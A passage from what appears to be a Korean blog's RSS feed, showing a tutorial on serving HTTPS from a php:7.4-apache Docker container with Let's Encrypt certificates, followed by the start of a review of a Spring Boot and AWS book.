&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;센토스8 에서 홈페이지 https 를 위한 Let's Encrypt 설치 방법 간단하게 포스팅합니다. Let's Encrypt 설치 sudo dnf install epel-release 혹시 아래처럼 오류 뜨면서 안되면 Failed to set locale, defaulting to C.UTF-8 CentO&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;bug41.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;let's encrypt 가 잘 설치 되었다는 가정하에 진행합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1680871294083&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 내가 원하는 도메인에 let's encrypt 발급, www 붙은거랑 안붙은거 동시에 발급
certbot --apache -d baam82.kr -d www.baam82.kr&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정상적으로 진행이 되었다면 아래처럼 비스무리하게 보일겁니다.&lt;/p&gt;
&lt;pre id=&quot;code_1680871332343&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;[root@tw-web ipsets]# certbot --apache -d baam82.kr -d www.baam82.kr
Saving debug log to /var/log/letsencrypt/letsencrypt.log
Plugins selected: Authenticator apache, Installer apache
Starting new HTTPS connection (1): acme-v02.api.letsencrypt.org

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
You have an existing certificate that contains a portion of the domains you
requested (ref: /etc/letsencrypt/renewal/baam82.kr.conf)

It contains these names: baam82.kr

You requested these names for the new certificate: baam82.kr, www.baam82.kr.

Do you want to expand and replace this existing certificate with the new
certificate?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(E)xpand/(C)ancel: E
Renewing an existing certificate for baam82.kr and www.baam82.kr
Performing the following challenges:
http-01 challenge for baam82.kr
http-01 challenge for www.baam82.kr
Waiting for verification...
Cleaning up challenges
Deploying Certificate to VirtualHost /etc/httpd/conf/httpd-le-ssl.conf
Deploying Certificate to VirtualHost /etc/httpd/conf/httpd-le-ssl.conf
Redirecting vhost in /etc/httpd/conf/httpd.conf to ssl vhost in /etc/httpd/conf/httpd-le-ssl.conf

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Your existing certificate has been successfully renewed, and the new certificate
has been installed.

The new certificate covers the following domains: https://baam82.kr and
https://www.baam82.kr
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

IMPORTANT NOTES:
 - Congratulations! Your certificate and chain have been saved at:
   /etc/letsencrypt/live/baam82.kr/fullchain.pem
   Your key file has been saved at:
   /etc/letsencrypt/live/baam82.kr/privkey.pem
   Your certificate will expire on 2023-07-02. To obtain a new or
   tweaked version of this certificate in the future, simply run
   certbot again with the &quot;certonly&quot; option. To non-interactively
   renew *all* of your certificates, run &quot;certbot renew&quot;
 - If you like Certbot, please consider supporting our work by:

   Donating to ISRG / Let's Encrypt:   https://letsencrypt.org/donate
   Donating to EFF:                    https://eff.org/donate-le&lt;/code&gt;&lt;/pre&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;pre id=&quot;code_1680871660701&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt; - Congratulations! Your certificate and chain have been saved at:
   /etc/letsencrypt/live/baam82.kr/fullchain.pem
   Your key file has been saved at:
   /etc/letsencrypt/live/baam82.kr/privkey.pem&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 다른거 다 필요없고 정상적으로 발급되었다고 하면 맨 하단에 내 인증서 깔린 경로가 중요합니다.&lt;br /&gt;왜냐면 저 부분을 도커 컨테이너 생성할때 마운트 시켜줄거거든요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 아래처럼 apache-php 이미지를 이용하여 도커 컨테이너를 생성해줄건데 명령어가 복잡해보이지만 굳이 필요하지않은게 몇개 있어서 --restart=&quot;always&quot; 라던가 --privileged 는 굳이 필요없을거에요&lt;br /&gt;차례대로 살펴보자면&lt;/p&gt;
&lt;pre id=&quot;code_1680871656961&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;docker run --restart=&quot;always&quot; -itd --privileged -p 80:80 -p 443:443 --network mynet \
-v /var/www/html/baam82:/var/www/html \
-v /etc/letsencrypt/archive/baam82.kr:/etc/ssl \
 --name baam82 php:7.4-apache&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-p 80:80 응 호스트 80으로 들어오는거 도커 80으로 보낼게~&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;-p 443:443 응 호스트 443 으로 들어오면 도커 443 으로 보낼게&lt;span&gt; ~&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;--network mynet 이것도 굳이 필요없으실건데 제 경우엔 mariaDB 컨테이너가 별도로 운영중이어서 이놈을 고정 IP 로 쓰려고 docker network 를 하나 만들어놓은게 있어서 컨테이너끼리 연결 편하게 하려고 같은 network 로 잡아서 생성을 했습니다.&lt;br /&gt;&lt;br /&gt;-v [호스트경로]:[도커 경로]&lt;br /&gt;&lt;br /&gt;/var/www/html 경로 마운트 잡는건 그렇다쳐도 letsencrypt 경로 부분에서 좀 의아하실건데 분명히 위에서 제가 언급한&lt;br /&gt;중요하다고 언급했던 경로는 아래와 같습니다.&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;/etc/letsencrypt/live/baam82.kr/fullchain.pem&lt;br /&gt;/etc/letsencrypt/live/baam82.kr/privkey.pem&lt;br /&gt;&lt;br /&gt;근데 정작 컨테이너 실행시킬때는 &quot;/etc/letsencrypt/archive&quot; 로 마운트를 걸었습니다.&lt;br /&gt;&lt;br /&gt;이 부분은 처음에 제가 삽질을 좀 했던 부분인데 호스트 서버에서&amp;nbsp;&lt;br /&gt;vi /etc/letsencrypt/live/baam82.kr/fullchain.pem 요런식으로 열면 잘 열리고, 근데 정작 만들었던 컨테이너에서 vi 를 때리면 못찾아갑니다&lt;br /&gt;그래서 자세히 살펴보니 심볼릭링크로 ../../archive 에 있는걸 갖고가길래 archive 에 있는 원본쪽으로 마운트 시켜주니&lt;br /&gt;잘 찾아갔습니다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1680872043090&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#테스트 한답시고 여러번 재발급받아서 뒤에 2가 붙은듯합니다. 별로 중요한건 아님
lrwxrwxrwx 1 root root  33 Apr  3 21:51 cert.pem -&amp;gt; ../../archive/baam82.kr/cert2.pem
lrwxrwxrwx 1 root root  34 Apr  3 21:51 chain.pem -&amp;gt; ../../archive/baam82.kr/chain2.pem
lrwxrwxrwx 1 root root  38 Apr  3 21:51 fullchain.pem -&amp;gt; ../../archive/baam82.kr/fullchain2.pem
lrwxrwxrwx 1 root root  36 Apr  3 21:51 privkey.pem -&amp;gt; ../../archive/baam82.kr/privkey2.pem&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;여튼 저대로 컨테이너가 정상적으로 만들어졌다면&lt;/p&gt;
&lt;pre id=&quot;code_1680872192470&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;docker ps -a&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래처럼 보일겁니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1596&quot; data-origin-height=&quot;190&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b9uDi9/btr8LMsm5ir/Scn2RauNae5SDzpNGqKnQ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b9uDi9/btr8LMsm5ir/Scn2RauNae5SDzpNGqKnQ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b9uDi9/btr8LMsm5ir/Scn2RauNae5SDzpNGqKnQ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb9uDi9%2Fbtr8LMsm5ir%2FScn2RauNae5SDzpNGqKnQ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1596&quot; height=&quot;190&quot; data-origin-width=&quot;1596&quot; data-origin-height=&quot;190&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 아래 명령어로 도커 컨테이너에 접속해서 몇가지 조정을 해줍니다.&lt;/p&gt;
&lt;pre id=&quot;code_1680872303280&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# docker 컨테이너 접속
docker exec -it baam82 /bin/bash

# 이것저것 세팅에 필요한거 설치
# apache.conf 수정할때 vim 필요
# db 연결 안하시면 docker-php-ext-install mysqli 는 굳이 필요없음

apt-get update &amp;amp;&amp;amp; apt-get install -y vim &amp;amp;&amp;amp; docker-php-ext-install mysqli&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;/var/www/html 마운트 정상&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;436&quot; data-origin-height=&quot;51&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dCTNUm/btr8LiyjHLo/SoBtwkLkjXmkM8r11YHc70/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dCTNUm/btr8LiyjHLo/SoBtwkLkjXmkM8r11YHc70/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dCTNUm/btr8LiyjHLo/SoBtwkLkjXmkM8r11YHc70/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdCTNUm%2Fbtr8LiyjHLo%2FSoBtwkLkjXmkM8r11YHc70%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;436&quot; height=&quot;51&quot; data-origin-width=&quot;436&quot; data-origin-height=&quot;51&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;/etc/ssl 마운트 정상&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;419&quot; data-origin-height=&quot;35&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dYLyDO/btr8JjY5yMu/Ojmg5Do3fGy1BMRiKXNtsk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dYLyDO/btr8JjY5yMu/Ojmg5Do3fGy1BMRiKXNtsk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dYLyDO/btr8JjY5yMu/Ojmg5Do3fGy1BMRiKXNtsk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdYLyDO%2Fbtr8JjY5yMu%2FOjmg5Do3fGy1BMRiKXNtsk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;419&quot; height=&quot;35&quot; data-origin-width=&quot;419&quot; data-origin-height=&quot;35&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style3&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;해당 apache-php 의 아파치 설정 config 파일은 경로가 아래와 같습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1680872539638&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#httpd.conf 인줄 알았으나 아님
vi /etc/apache2/apache2.conf

#VirtualHost 세팅은 아래에서 
vi /etc/apache2/sites-available/000-default.conf&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;apache2.conf 에서는 별다른 수정사항은 없었습니다&lt;br /&gt;그냥 serverName 추가&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;582&quot; data-origin-height=&quot;198&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tpCud/btr8JkKvRVd/7Qk4sRvjUJVLjBifsujVek/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tpCud/btr8JkKvRVd/7Qk4sRvjUJVLjBifsujVek/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tpCud/btr8JkKvRVd/7Qk4sRvjUJVLjBifsujVek/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtpCud%2Fbtr8JkKvRVd%2F7Qk4sRvjUJVLjBifsujVek%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;582&quot; height=&quot;198&quot; data-origin-width=&quot;582&quot; data-origin-height=&quot;198&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;핵심은 000-default.conf (보통 사이트이름.conf 로 하는듯, 대신 apache2.conf 에서 정상적으로 포함되게 해줘야겠죠)&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1680872769138&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;VirtualHost *:80&amp;gt;
    ServerName www.baam82.kr
    ServerAdmin webmaster@localhost
    DocumentRoot /var/www/html
    Redirect &quot;/&quot; &quot;https://baam82.kr/&quot;
    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
&amp;lt;/VirtualHost&amp;gt;

&amp;lt;VirtualHost *:443&amp;gt;
    ServerName baam82.kr
    SSLEngine On
    SSLCertificateFile /etc/ssl/fullchain2.pem
    SSLCertificateKeyFile /etc/ssl/privkey2.pem    
&amp;lt;/VirtualHost&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 다 수정하고 아래 명령어로 아파치 서버 재시작이 가능합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1680872910084&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#아파치 서버 재시작
apachectl restart

#아파치 서버 재시작
service apache2 restart&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 처럼 정상적으로 http 로 접속을해도 apache2.conf 에서 Redirect 로 설정해준 덕분에 https 로 바로 보내줘서 잘열리는것이 확인 되었습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;324&quot; data-origin-height=&quot;221&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b3TbbM/btr8LkbNF9V/KWQWSQHeXCdeAQ2HjHhoMk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b3TbbM/btr8LkbNF9V/KWQWSQHeXCdeAQ2HjHhoMk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b3TbbM/btr8LkbNF9V/KWQWSQHeXCdeAQ2HjHhoMk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb3TbbM%2Fbtr8LkbNF9V%2FKWQWSQHeXCdeAQ2HjHhoMk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;324&quot; height=&quot;221&quot; data-origin-width=&quot;324&quot; data-origin-height=&quot;221&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사실 정리하고나니 별거 아닌데 여기까지 오기까지 시행착오를 좀 겪었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 호스트 서버에도 apache 가 필요할줄알았는데 전혀 아니었음, 도커 아파치 컨테이너만으로도 충분히 가능&lt;br /&gt;&lt;br /&gt;2. apache 컨테이너 랑 php 컨테이너 별도로 진행 하고 같은 network 에 올려서 ProxyPassMatch 어쩌고 작업을 하려했는데 여러번 삽질하다 실패 , 그냥 apache 컨테이너에 php 깔아서 진행하거나 , php:7.4-apache 공식 이미지 사용하는게 정신건강에 이로움&lt;br /&gt;&lt;br /&gt;3. certbot 실행했을때 방화벽 때문에 정상적으로 인증서 발급이 되지않는 문제도 있었고 알고보니 예전에 해외 ip 접근 차단한 rich-rules 때문에 그랬음. ( /etc/firewalld/ipset&amp;nbsp; 안에 있음 )&lt;br /&gt;방화벽 잠깐 내리고 재발급 완료&lt;br /&gt;&lt;br /&gt;4. SSL 모듈 안깔려있어서 오류 발생 아래 명령어로 SSL 확인 및 설치 가능&lt;/p&gt;
&lt;pre id=&quot;code_1680873079236&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# SSL 모듈 깔려있는지 확인
apachectl -M | grep ssl

# SSL 모듈 안깔려있으면 설치 명령어
a2enmod ssl&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사실 위에서 진행한 apache-php 컨테이너에 접근해서 이것저것 명령어 칠 필요없이 docker-compose 를 이용해서 한번에 끝낼수 있을듯합니다.&lt;br /&gt;그리고 let's encrypt 는 3개월마다 갱신을 해줘야하니 crontab 을 이용해서 자동갱신을 해줘야겠지요 ~!&lt;/p&gt;</description>
      <category>IT/Docker</category>
      <category>docker https</category>
      <category>docker https 연결</category>
      <category>docker letsencrypt</category>
      <category>docker openssl</category>
      <category>docker ssl</category>
      <category>letsencrypt</category>
      <category>SSL</category>
      <author>월공</author>
      <guid isPermaLink="true">https://bug41.tistory.com/196</guid>
      <comments>https://bug41.tistory.com/entry/Docker-apache-php-%EC%BB%A8%ED%85%8C%EC%9D%B4%EB%84%88%EC%97%90%EC%84%9C-https-%EC%97%B0%EA%B2%B0%ED%95%98%EA%B8%B0-featLets-Encrypt#entry196comment</comments>
      <pubDate>Fri, 7 Apr 2023 23:13:42 +0900</pubDate>
    </item>
    <item>
      <title>[책] 스프링 부트와 AWS로 혼자 구현하는 웹 서비스 를 마치고~!!</title>
      <link>https://bug41.tistory.com/entry/%EC%8A%A4%ED%94%84%EB%A7%81-%EB%B6%80%ED%8A%B8%EC%99%80-AWS%EB%A1%9C-%ED%98%BC%EC%9E%90-%EA%B5%AC%ED%98%84%ED%95%98%EB%8A%94-%EC%9B%B9-%EC%84%9C%EB%B9%84%EC%8A%A4-%EB%A5%BC-%EB%A7%88%EC%B9%98%EA%B3%A0</link>
      <description>&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;작년 12월 말에 서점 들렀다가 마음에 들어서 샀던&lt;b&gt; &quot;스프링 부트와 AWS로 혼자 구현하는 웹 서비스&quot;&lt;/b&gt; 책&lt;br /&gt;처음에 저자 성함이 낯이 익어서 어디서 많이 봤다 싶었는데&lt;br /&gt;구독중인 유튜브 채널중에 &lt;b&gt;개발바닥&lt;/b&gt;에 늘 자주 나오시는 &quot;향로&quot; 님이셨습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;우선 결론부터 말하자면 이 책 무조건 추천드립니다~!&lt;br /&gt;가격은 만원 후반대입니다 !&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;20230204_201936.jpg&quot; data-origin-width=&quot;3000&quot; data-origin-height=&quot;4000&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7MEf5/btrX40aaWgg/y900GZE4kC1v1o1eFV5kn1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7MEf5/btrX40aaWgg/y900GZE4kC1v1o1eFV5kn1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7MEf5/btrX40aaWgg/y900GZE4kC1v1o1eFV5kn1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7MEf5%2FbtrX40aaWgg%2Fy900GZE4kC1v1o1eFV5kn1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;417&quot; height=&quot;556&quot; data-filename=&quot;20230204_201936.jpg&quot; data-origin-width=&quot;3000&quot; data-origin-height=&quot;4000&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 책을 보게 된 이유는 간단합니다.&lt;br /&gt;&lt;b&gt;&quot;스프링부트를 잘 몰라서&quot;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;물론 현업 실무에 있으면서 운좋게 리액트와 스프링부트로 구성된 프로젝트를 잠깐 유지보수를 했던적이 있는데 그거와는 별개로 복습겸 다시 봐보고싶었고 또 단순히 스프링부트 뿐이 아니라 aws에 이어서 CI/CD 경험까지 해볼수 있는 책이라 하여 메리트가 느껴져서 보게됐습니다.&lt;br /&gt;&lt;br /&gt;대략 7~8년전에 국비지원으로 자바를 이수했었지만, 희극인지 비극인지 -_- ASP 회사를 들어가게 되면서 JSP , java 와는 점점 거리가 멀어졌었는데,&lt;br /&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;ASP 를 시작으로 계속 이직을하면서 지금은 PHP 를 중점적으로 보고있긴 하다만.. &lt;/span&gt;아직까지도 우리나라에 규모가 있는 IT 회사는 대부분 자바를 쓰기에 , 몸값 욕심이 생겨서 더이상 자바를 모른체할순없겠다 생각이 들어서 본것도 있네요&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;책에 오타도 있고 누락된 코드부분도 존재하긴 하다만, 완전 초보가 아닌이상 그래도 어느정도 유추를 할수 있으며&lt;br /&gt;완전 초보라 하더라도, &lt;br /&gt;향로님이 올려주신 해당 서적에서 다루는 프로젝트의 소스가 아래 깃허브에 올라가있으며, 이슈부분에 해당 페이지로 검색하거나 오류문구로 검색을하면 해결할수 있는 부분들이 대부분이었습니다.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;https://github.com/jojoldu/freelec-springboot2-webservice&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/jojoldu/freelec-springboot2-webservice&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1675510978093&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;GitHub - jojoldu/freelec-springboot2-webservice&quot; data-og-description=&quot;Contribute to jojoldu/freelec-springboot2-webservice development by creating an account on GitHub.&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/jojoldu/freelec-springboot2-webservice&quot; data-og-url=&quot;https://github.com/jojoldu/freelec-springboot2-webservice&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/5gIQM/hyRvjtpYO4/gDYmGs2SQjjK8nXW4CzKeK/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600&quot;&gt;&lt;a href=&quot;https://github.com/jojoldu/freelec-springboot2-webservice&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/jojoldu/freelec-springboot2-webservice&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/5gIQM/hyRvjtpYO4/gDYmGs2SQjjK8nXW4CzKeK/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub - jojoldu/freelec-springboot2-webservice&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Contribute to jojoldu/freelec-springboot2-webservice development by creating an account on GitHub.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;책에 설명이 상세하게 잘되어있어서 어려웠던 부분은 없었고, 다만 travis 를 사용할때 이젠 정책이 바뀌었는지 결제카드를 무조건 등록을 해야했었고 , 공짜 요금제(plan) 을 선택하더라도 1달러를 뽑아가네요 !&lt;br /&gt;&lt;br /&gt;카드를 등록했는데도 계속 빨간 문구로 plan 선택하라고 뜨면서 build 가 안되길래 이 부분은 트래비스 고객센터 측에 메일 보내니까 금방 해결이 되었습니다. (물론 다음날)&lt;br /&gt;&lt;br /&gt;짧은영어로 어째저째 문의도 보내보고 , 나름 좋은 경험이었어요&lt;br /&gt;그래도 앞으로 이런 문의는 종종 보낼텐데 영어 교정은 해야하니 현재 미국에 있는&lt;br /&gt;누나에게 컨펌을 받아보기로 합니다 ㅋㅋ&lt;br /&gt;동생도 현재 누나랑 같이 미국에 있는데 이번에 무슨 해커톤 1등 했다고 어쩌고 하네요 (깨알 동생자랑)&lt;/p&gt;
